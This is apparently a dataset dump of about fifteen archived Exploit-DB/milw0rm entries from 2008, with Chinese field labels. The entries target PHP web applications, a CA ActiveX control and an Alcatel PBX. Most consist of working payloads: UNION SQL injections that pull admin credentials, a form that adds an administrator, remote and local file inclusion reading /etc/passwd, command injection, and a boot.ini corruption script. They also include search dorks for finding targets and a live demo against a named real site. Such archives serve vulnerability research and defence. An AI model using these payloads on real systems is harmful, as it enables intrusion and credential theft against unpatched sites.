QLWD/code_shield huggingface dataset:
标题: CMS MAXSITE 1.10 - 'category' SQL Injection EDB-ID: 5676 CVE: 2008-2487 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: #########################################################################

CMS MAXSITE Remote SQL Injection Exploit <= 1.10

#########################################################################


[+] Author: Tesz [@] THD
[+] Home: http://www.thaishadow.com
[+] Forum: http://www.thaishadow.com/board/index.php

[+] Download: http://maxsite.geniuscyber.com/index.php?name=index

[+] Dork: MAXSITE or intitle:"MAXSITE"

[+] Exploit: http://server.com/path/index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] Greetz: krit,Exploiters,PongZ,{OHM},Usermode,windows98SE,azazel,Mr`Ping,Os555,[T]he[S]hak
[+] Special Thx: THD (Thaishadow Team)


###########################################################################

# milw0rm.com [2008-05-26] URL: https://www.exploit-db.com/exploits/5676
标题: CKGold Shopping Cart 2.5 - 'category_id' SQL Injection EDB-ID: 5678 CVE: 2008-2774 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-27 漏洞利用脚本: Cr@zy_King / crazy_kinq@hotmail.co.uk

CKGold Shopping Cart 2.5 (category_id) SQL Injection Vulnerability

Script page : http://cartkeeper.com

Demo Page : http://ckgold.cartkeeper.com

Commercial License Price: $99.00
Commercial License Price: $79.95  :|

http://localhost/item.php?item_id=-1&category_id=Sql

Sql : 27+group+by+tbl_item.item_id+union+select+1,version(),3,user()/*

Greatz : aLL My Friendz & Coderx & Code Hunters & str0ke

-------

# milw0rm.com [2008-05-27] URL: https://www.exploit-db.com/exploits/5678
标题: CA Internet Security Suite 2008 - 'SaveToFile()' File Corruption (PoC) EDB-ID: 5682 CVE: 2008-2511 类型: DOS 平台: WINDOWS 发布日期: 2008-05-28 漏洞利用脚本: <!--
CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile())
remote file corruption poc
by Nine:Situations:Group::surfista

this control is safe for scripting
and safe for initialize

original one: http://retrogod.altervista.org/9sg_CA_poc.html
-->
<html><object classid='clsid:F13D3742-6C4F-4915-BF91-784BA02DD0BE' id='UmxEventCliLib'/>
</object><script language='vbscript'>
filePath="..\..\..\..\..\..\..\boot.ini"
UmxEventCliLib.SaveToFile filePath
</script></html>

# milw0rm.com [2008-05-28] URL: https://www.exploit-db.com/exploits/5682
标题: RoomPHPlanning 1.5 - Arbitrary Add Admin EDB-ID: 5674 CVE: 2008-2488 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: ###########################################
{+} RoomPHPlanning v1.5 remote Arbitrary Add Admin Users Vulnerability 
{+} Script download :http://www.beaussier.com/roomphplanning/telecharge.php
{+} Founded by : Stack
{+} Greetz : All friends & muslims HaCkeRs...
###########################################
DESCRIPTION:
RoomPHPlanning is vulnerable to add user whit go to link [see down]
in colon Nom write any name and in colon login whrite your adress email after password
and the colon privilÃ©ges is adminstrator after  click [enregistrer ]
Vulnerability:
  go to this link for add admin user
 1 : http://localhost/path/admin/userform.php
  go this link for login in
 2 : http://localhost/path/login.php
  after login in go to admin link
 3 : http://localhost/path/admin/
  for see all administrator & edit it
 4 : http://localhost/path/admin/?user=1
 after execute the command for add user or for login in the page is not changed
 it's necessary go to second link  1 2 3 4

EXPLOIT HTML :
-------------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>RoomPHPlanning add Admin user</TITLE>
<LINK REL="stylesheet" TYPE="text/css" HREF="style.css">
</HEAD>
<BODY>
<form action="http://site.com/path/admin/userform.php" method="POST">
<FORM ACTION="#" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="save" VALUE="1">
<TABLE WIDTH=98% BORDER=0 CELLPADDING=4 CELLSPACING=0>
<TR VALIGN=TOP>
<TD WIDTH=50%><P>Nom</P></TD>
<TD WIDTH=50%><INPUT TYPE=TEXT NAME='name' SIZE=40 VALUE=""></TD>
<TR VALIGN=TOP>
<TD WIDTH=50%><P>Login email</P></TD>
<TD WIDTH=50%><INPUT TYPE=TEXT NAME='login' SIZE=40 VALUE=""></TD>
<TR VALIGN=TOP>
<TD WIDTH=50%><P>Mot de passe</P></TD>
<TD WIDTH=50%><INPUT TYPE=TEXT NAME='pwd' SIZE=20></TD></TR>
</TR><TR VALIGN=TOP>
<TD WIDTH=50%><P>PrivilÃ¨ges</P></TD><TD WIDTH=50%><SELECT NAME="rank">
<OPTION VALUE="1">Administrateur</OPTION>
<OPTION VALUE="2">Utilisateur de base</OPTION>
<OPTION VALUE="3">Utilisateur normal</OPTION>
<OPTION VALUE="4">Anonyme</OPTION>
<OPTION VALUE="5">Super utilisateur</OPTION>
<OPTION VALUE="6">Gestionnaire</OPTION>
</SELECT>
 </TD>
</TR><TR><TD COLSPAN=2 WIDTH=100% VALIGN=TOP><CENTER><BR>
<INPUT TYPE="SUBMIT" VALUE="Enregistrer">
<INPUT TYPE="BUTTON" VALUE="Annuler"  ONCLICK="javascript:window.close();">
</TD></TR></TABLE></FORM></BODY>
</HTML>
-------------------------------------------------------------------------------------
 
GREETZ: http://real-hack.com
----------------------------------------------------------------------------- 

# milw0rm.com [2008-05-26] URL: https://www.exploit-db.com/exploits/5674
标题: plusphp url shortening software 1.6 - Remote File Inclusion EDB-ID: 5672 CVE: 2008-2480 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-25 漏洞利用脚本: Author: DR.TOXIC  / dr.toxic@windowslive.com
 
Title: plusPHP Multi-User Short URL and Statistics (plus.php) RFI Vulnerability
Script Download: http://www.hotscripts.com/jump.php?listing_id=80293&jump_type=1
Vulnerability Code: (plus.php) "include ($_pages_dir.'_config.php');"
Example;
http://localhost/plus.php?_pages_dir=http://SH3LL?
<--------------------Milw0rm Exploits-------------------->

# milw0rm.com [2008-05-25] URL: https://www.exploit-db.com/exploits/5672
标题: OneCMS 2.5 - 'install_mod.php' Local File Inclusion EDB-ID: 5669 CVE: 2008-2482 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-23 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    OneCMS
Versions Affected:              2.5
Vendor URL:                     http://www.insanevisions.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       26.03.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        23.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script install_mod.php


Code
****
#################################################

 $mod = $_GET['load'];
 $filexp = explode(".", $mod);
 $filetype = $filexp[1];
 $file = $filexp[0];
 $file2 = "mods/$mod";

 if (!is_numeric($mod)) { // makes sure that the user isnt entering a #
 if ($filetype == "php") {
 if ($_GET['act'] == "") {
 echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";
 }
 if ($_GET['act'] == "go") {
 include ($file2);
 ...

#################################################


Example:

http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-05-23] URL: https://www.exploit-db.com/exploits/5669
标题: Xomol CMS 1.2 - Authentication Bypass / Local File Inclusion EDB-ID: 5673 CVE: 2008-2484 2008-2483 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-25 漏洞利用脚本: \#'#/
                     (-.-)
   -------------oOO---(_)---OOo------------
   |    Xomol CMS v1 Login Bypass & LFI   |
   |             coded by DNX             |
   ----------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.xomol.net
[!] Detected...: 12.05.2008
[!] Reported...: 13.05.2008 (didn't work: host mail.xomol.net said: 554 5.7.1 - Relay access denied)
[!] Response...: xx.xx.2008

[!] Background.: Xomol CMS is a content management system based on PHP and MySQL

[!] Bug Bypass.: $_POST['email'] and $_POST['password'] in index.php near line 59

                 58: if(!empty($_POST['email'])&&!empty($_POST['password'])){
                 59:      $sql='SELECT user_id FROM users WHERE user_email="'.$_POST['email'].'"  AND  user_password="'.md5($_POST['password']).'" AND user_status=1';
                 60:      $result = sql_query($sql, $dbi);

[!] Bug LFI....: $op in index.php near line 272

                 234: switch($op){

                 270:     default:
                 271:     if (file_exists('modules/'.$op.'/index.php')) {
                 272:         include('modules/'.$op.'/index.php');

[!] PoC Bypass.: Login with email: " OR user_group=1/*"" and password: not empty
                 (works only with magic_quotes_gpc = off)

[!] PoC LFI....: http://127.0.0.1/xomol/index.php?op=../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-05-25] URL: https://www.exploit-db.com/exploits/5673
标题: RoomPHPlanning 1.5 - 'idresa' SQL Injection EDB-ID: 5670 CVE: 2008-6633 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: ###########################################
{+} RoomPHPlanning v1.5 remote SQL injection exploit
{+} Script download :http://www.beaussier.com/roomphplanning/telecharge.php
{+} Founded by : His0k4 [ ALGERIAN HaCkEr ]
{+} Greetz : All friends & muslims HaCkeRs...
###########################################
{+} Exploit :
    http://localhost/[script_path]/resaopen.php?idresa={SQL}
{+} Example :
    http://localhost/[script_path]/resaopen.php?idresa=-1 UNION SELECT 1,2,3,4,5,6,concat(LoginUs,0x3a,PwdUs),8,9 FROM rp_user where IdUs=1--
############################################

# milw0rm.com [2008-05-24] URL: https://www.exploit-db.com/exploits/5670
标题: e107 Plugin BLOG Engine 2.2 - 'uid' Blind SQL Injection EDB-ID: 5666 CVE: 2008-6438 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: ##################################################################################################
  #                                                                                                #
  # ::e107 Plugin BLOG Engine v2.2 (macgurublog.php/uid) Blind SQL Injection Vulnerability::       #
  #                                                                                                #          
  ##################################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)

-------vuln codes in:-----------
macgurublog.php:
line 18:$buid = $_GET['uid'];
..
..
line 31:$sql -> db_Select("user", "user_name", "user_id=".$buid);
---
exploit:
[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(

http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 2>1/*   #the page fully loaded

http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 1>3/*   #page loaded whit any data and some error that say "The user has hidden their blog."

cheking the mysql version:
http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=5
or
http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=4

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...
---
young iranian h4ck3rz

# milw0rm.com [2008-05-22] URL: https://www.exploit-db.com/exploits/5666
标题: RoomPHPlanning 1.5 - Multiple SQL Injections EDB-ID: 5675 CVE: 2008-6634 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: #######################################################################################
  #                                                                                     #
  #           ...::::RoomPHPlanning 1.5 SQL Injection Vulnerabilities ::::...           #          
  #######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----

-------vuln codes in:-----------
resaopen.php:
line 7:@$idresa = $_GET['idresa'];
..
..
ine 102:$qry = "SELECT IdRm, R.IdUs, TitleRs,".
   "DateRs, BegRs, EndRs, DescRs,".
   "BillRs, NameUs ".
   "FROM ".RESA." R, ".USER." U ".
   "WHERE IdRs=".$idresa." ".
   "AND R.IdUs=U.IdUs";
   
*********
weekview.php:
@$idroom =  $_GET['idroom'];
....
line 47:$qry =  "SELECT NameRm, BkcolRm, FtcolRm ".
  "FROM ".ROOM." WHERE IdRm=".$idroom ;
---
exploits:
http://site.com/resaopen.php?idresa=-99999/**/union/**/select/**/1,2,3,4,5,6,concat(LoginUs,0x3a,char(58),PwdUs),8,9/**/from/**/rp_user/**/where/**/IdRk=1/*
http://site.com/weekview.php?idroom=-999/**/union/**/select/**/concat(LoginUs,0x3a,char(58),PwdUs),2,3/**/from/**/rp_user/**/where/**/IdRk=1/*
---
young iranian h4ck3rz

# milw0rm.com [2008-05-26] URL: https://www.exploit-db.com/exploits/5675
标题: Weblosninger 4 - Cross-Site Scripting / SQL Injection EDB-ID: 5664 CVE: 2008-2506 2008-2505 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-21 漏洞利用脚本: ################ Viva IsLaM ################
#   (sql / xss ) Multiple Vulnerabilities
#     
#   weblosning   V1, V2,V3,V4 (( index2.php id ))                              
############################################
## Script Name : Weblosning (( V1, V2,V3,V4 ))
##
## Demo :   http://www.simpelside.dk/
############################################
##
## AuTh0r: Mr.SQL
## H0ME  : WwW.PaL-HaCkEr.CoM
## Email : SQL@Hotmail.it
## 
############################################
##      (( V1 ::V2 :: V3 :: V4 ))
##
## D0rk :  allinurl: "index2.php" mainid
##
====>>>   SQL ::::::::

       V1  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web1_brugere/*
         
       V2  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web2_brugere/*
         
       V3 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web3_brugere/*
          
       V4 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web4_brugere/*


## Note ## plz use all exploits to have good results , the sites have difrrent versions , so you must test all tables name on targets the ,table name like this [  web1_brugere , web2_brugere , web3_brugere , web4_brugere ]  to know script version 
 

## Video How to use tables  :)       http://www.4shared.com/file/48485309/1fa3df0/weblosning.html


##  :: liVe DeM0 ::


version (1)  http://www.simpelside.dk/web1/index2.php?id=-4+union+select+1,2,concat_ws(0x3a3a,brugernavn,adgangskode),4,5,6+from+web1_brugere/*

version (2)   http://www.simpelside.dk/web2/index2.php?id=2&mainid=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3+from+web2_brugere/*

version (3)    http://www.simpelside.dk/web3/index2.php?id=-3+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web3_brugere/*

version (4)  http://www.simpelside.dk/web4/index2.php?id=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web4_brugere/*

#########################################################################################
      
====>> xss ::::::
                      http://www.target.dk/web1/result.php?search= (xss)
====>>
        EX ::::  http://www.simpelside.dk/web1/result.php?search= Viva%20Islam%20

 
#########################################################################################

<< Gr33Tz>>  (( HaCkEr-EGy )) :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH ::  (( MuslimS HaCkErS ))

#########################################################################################
                       -(:::: Geek Inj3cT0r ::::)-

# milw0rm.com [2008-05-21] URL: https://www.exploit-db.com/exploits/5664
标题: PHPRaider 1.0.7 - 'PHPbb3.functions.php' Remote File Inclusion EDB-ID: 5671 CVE: 2008-2481 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: < ------------------- header data start ------------------- >

#############################################################

# Application Name : PhpRaider Mod phpbb3

# Vulnerable Type : Remote File Include

# Google Keyword : Powered by phpRaider v1.0.7

# Infection : Ä°lgili site ve sunucuya eriÅŸim saÄŸlanabilir.

# Bug Fix Advice : Undefined deÄŸerler, tanÄ±mlanmalÄ±dÄ±r.

# author : KaCaK a.K.a Dr.Hack3r

# Error Code : include_once($pConfig_auth['phpbb_path'].'common.php');

Kacakizm Bir YaÅŸam Felsefesi

#############################################################

< ------------------- header data end of ------------------- >



< -- bug code start -- >

www.site.com/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL]

/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL]

< -- bug code end of -- >

# milw0rm.com [2008-05-24] URL: https://www.exploit-db.com/exploits/5671
标题: Netious CMS 0.4 - 'pageid' SQL Injection EDB-ID: 5661 CVE: 2008-2461 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-21 漏洞利用脚本: ||          ||   | ||       
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                 ( :   /    (_)    /           (   .
                   ================================
                      ==========================
                         ====================
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
Title :: Netious CMS 0.4 Remote SQL Injection Vulnerability
Author :: InjEctOr [s0f (at) w (dot) cn]
&& ToTaL [n.47 at hotmail.com]
discouvred by :: ToTaL
Application :: Netious CMS 0.4
 
Download :: http://www.netious.com/sections/3/files/netious-cms-serv-0.4.zip
 
Dork 1 ::  Not Yet  :P
 
Greets :: Allah , InjEctOr5 TeaM , TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.
--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/netious/index.php?pageid='/**/union/**/select/**/1,concat_ws(0x3a3a,AdminId,username,password,adminMail),3+from+mycmsadmin/*
 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-21] URL: https://www.exploit-db.com/exploits/5661
标题: Alcatel OmniPCX Office 210/061.1 - Remote Command Execution EDB-ID: 5662 CVE: 2008-1331 类型: WEBAPPS 平台: CGI 发布日期: 2008-05-21 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-020


Application:                    Alcatel OmniPCX Office
Versions Affected:              Alcatel OmniPCX Office since release 210/061.1
Vendor URL:                     http://alcatel.com
Bugs:                           Remote command execution
Exploits:                       YES
Risk:                           High
CVSS Score:                     7.31
CVE-number:                     2008-1331
Reported:                       31.01.2008
Vendor response:                01.02.2008
Customers informed:             07.03.2008
Published on PSIRT:             01.04.2008
Date of Public Advisory:        21.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Introduction
************

The OmniPCX Enterprise is an integrated communications solution for
medium-sized businesses and large corporations. It combines the best of
the old (legacy TDM phone connectivity) with the new (a native IP
platform and support for Session Initiation Protocol, or SIP) to provide
an effective and complete communications solution for cost-conscious
companies on the cutting edge.

(from the vendor's homepage)


Description
***********

Alcatel OmniPCX Office  Web Interface has critical  security vulnerability Remote command execution

The risk of this vulnerability is high. Any user which has access to the 
web interface of the OmniPCX Enterprise solution will be able to execute 
arbitrary commands on the server with the permissions of the webserver.


Details
*******


Remote command execution vulnerability found in script /cgi-data/FastJSData.cgi   in parameter name id2
Variable id2  not being filtered when passed to the shell. Thus, arbitrary commands can be executed on
the server by adding them to the user variable, separated by semicolons.

You can find more details on this advisory on vendors website http://www1.alcatel-lucent.com/psirt/statements.htm
under reference 2008001



Example:


http://[server]/cgi-data/FastJSData.cgi?id1=sh2kerr&id2=91|cat%20/etc/passwd




Fix Information
***************

Alcatel  was altered to fix this flaw on 01.04.2008. Updated version can be downloaded here:

http://www1.alcatel-lucent.com/enterprise/en/products/ip_telephony/omnipcxenterprise/index.html






About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, 
audit and penetration testing services, risk analysis and ISMS-related services and certification for 
ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application 
and database security problems with vulnerability reports, advisories and whitepapers posted regularly 
on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-05-21] URL: https://www.exploit-db.com/exploits/5662
标题: MX-System 2.7.3 - 'index.php' SQL Injection EDB-ID: 5659 CVE: 2008-2477 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-20 漏洞利用脚本: Name   : MX-System 2.7.3 (index.php page) Remote SQL Injection Vulnerability
Author : cOndemned
Dork   : intext:Powered by MX-System 2.7.3
Greetz : ZaBeaTy, str0ke, doctor, Avantura </3

PoC :

    http://[target]/[path]/index.php?page=-1+union+select+1,2,3,4,5,concat_ws(char(58),version(),user(),now())/*
    http://[target]/[path]/index.php?page=-1+union+select+1,2,3,4,5,concat(table_name,char(58),column_name)+from+information_schema.columns/*
    
    SQL query will generate error page containing requested informations.

# milw0rm.com [2008-05-20] URL: https://www.exploit-db.com/exploits/5659